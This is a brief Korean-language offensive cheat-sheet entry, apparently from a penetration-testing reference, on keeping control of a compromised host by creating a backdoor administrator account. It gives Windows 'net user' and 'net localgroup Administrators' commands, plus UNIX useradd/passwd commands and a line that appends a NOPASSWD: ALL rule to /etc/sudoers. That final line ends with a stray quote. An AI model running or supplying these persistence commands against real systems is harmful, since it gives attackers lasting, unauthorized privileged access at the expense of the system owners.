Create Account

공격자는 자신이 생성한 계정을 관리자로 등록함으로써 언제든 시스템을 제어할 수 있습니다.

Abuse

Windows

# 계정 생성
net user 'mick3y' 'Password123!' /add

# Administrators 그룹에 추가
net localgroup Administrators 'mick3y' /add

UNIX

# 계정 생성
useradd 'mick3y'
passwd 'mick3y'

# sudo 권한 부여
echo "mick3y ALL=(root) NOPASSWD: ALL" >> /etc/sudoers'